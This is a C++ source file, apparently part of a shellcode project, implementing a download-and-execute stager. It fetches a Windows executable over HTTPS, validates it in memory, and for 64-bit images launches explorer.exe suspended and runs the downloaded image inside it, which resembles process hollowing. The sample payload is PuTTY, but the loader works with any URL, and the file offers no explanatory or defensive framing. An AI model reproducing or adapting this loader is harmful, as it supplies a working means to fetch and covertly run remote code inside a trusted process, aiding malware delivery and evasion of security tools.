rbmm-SC/DownloadAndRun-x86/ep.cpp

#include "stdafx.h"

//#define _PRINT_CPP_NAMES_
#include "../ScEntry/address.h"

BOOL Download(_In_ PCWSTR lpszServerName, _In_ PCWSTR lpszObjectName, _Out_ void** ppv, _Out_ ULONG* pcb)
{
	BOOL fOk = FALSE;

	if (HINTERNET hSession = WinHttpOpen(0, 0, 0, 0, 0))
	{
		if (HINTERNET hConnect = WinHttpConnect(hSession, lpszServerName, INTERNET_DEFAULT_HTTPS_PORT, 0))
		{
			if (HINTERNET hRequest = WinHttpOpenRequest(hConnect, 0,
				lpszObjectName, 0, 0, 0, WINHTTP_FLAG_REFRESH | WINHTTP_FLAG_SECURE))
			{
				if (WinHttpSendRequest(hRequest, 0, 0, 0, 0, 0, 0) &&
					WinHttpReceiveResponse(hRequest, 0))
				{
					WCHAR sz[0x40], * psz;
					ULONG cb = sizeof(sz);
					if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH, 0, sz, &cb, 0))
					{
						ULONG dwFreeSpace = wcstoul(sz, &psz, 10);

						if (dwFreeSpace && !*psz)
						{
							if (PSTR Buf = new CHAR[dwFreeSpace])
							{
								*pcb = dwFreeSpace;

								PSTR lpBuffer = Buf;

								while (WinHttpReadData(hRequest, lpBuffer, dwFreeSpace, &cb) && cb)
								{
									lpBuffer += cb, dwFreeSpace -= cb;
								}

								if (!dwFreeSpace)
								{
									*ppv = Buf;
									fOk = TRUE;
								}
								else
								{
									delete[] Buf;
								}
							}
						}
					}
				}

				WinHttpCloseHandle(hRequest);
			}

			WinHttpCloseHandle(hConnect);
		}

		WinHttpCloseHandle(hSession);
	}

	return fOk;
}

BOOL __fastcall Exec64(PVOID BaseOfImage, HANDLE hProcess, HANDLE hThread)ASM_FUNCTION;
BOOL Exec(_In_ PVOID bWow, PVOID BaseOfImage, PIMAGE_NT_HEADERS pinth, PCWSTR lpCmdLine = 0);

BOOL __fastcall Exec64(PVOID BaseOfImage, PCWSTR lpCmdLine = 0)
{
	BOOL fOk = FALSE;

	void* OldValue;
	if (Wow64DisableWow64FsRedirection(&OldValue))
	{
		WCHAR buf[MAX_PATH];

		if (ULONG cch = GetSystemWindowsDirectoryW(buf, _countof(buf) - 16))
		{
			wcscpy(buf + cch, _YW(L"\\explorer.exe"));

			STARTUPINFO si = { sizeof(si) };
			PROCESS_INFORMATION pi;

			if (CreateProcessW(buf, const_cast<PWSTR>(lpCmdLine), 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi))
			{
				if (!(fOk = Exec64(BaseOfImage, pi.hProcess, pi.hThread)))
				{
					TerminateProcess(pi.hProcess, 0);
				}

				NtClose(pi.hThread);
				NtClose(pi.hProcess);
			}
		}

		Wow64RevertWow64FsRedirection(OldValue);
	}

	return fOk;
}

void DownloadAndExec(_In_ PCWSTR lpszServerName, _In_ PCWSTR lpszObjectName, _In_ PVOID wow, _In_ BOOL b64)
{
	if (!wow && b64) return; // can not exec x64 on x86 win

	void* pv = 0;
	ULONG cb = 0;
	if (Download(lpszServerName, lpszObjectName, &pv, &cb))
	{
		PIMAGE_NT_HEADERS pinth;
		if (0 <= RtlImageNtHeaderEx(0, pv, cb, &pinth))
		{
			b64&& wow ? Exec64(pv) : Exec(wow, pv, pinth);
		}
		delete[] pv;
	}
}

void WINAPI ep()
{
	void* peb;

	if (0 <= NtQueryInformationProcess(NtCurrentProcess(), ProcessWow64Information, &peb, sizeof(peb), 0))
	{
		DownloadAndExec(_YW(L"the.earth.li"), _YW(L"/~sgtatham/putty/latest/w32/putty.exe"), peb, FALSE);
		DownloadAndExec(_YW(L"the.earth.li"), _YW(L"/~sgtatham/putty/latest/w64/putty.exe"), peb, TRUE);
	}

	ExitProcess(0);
}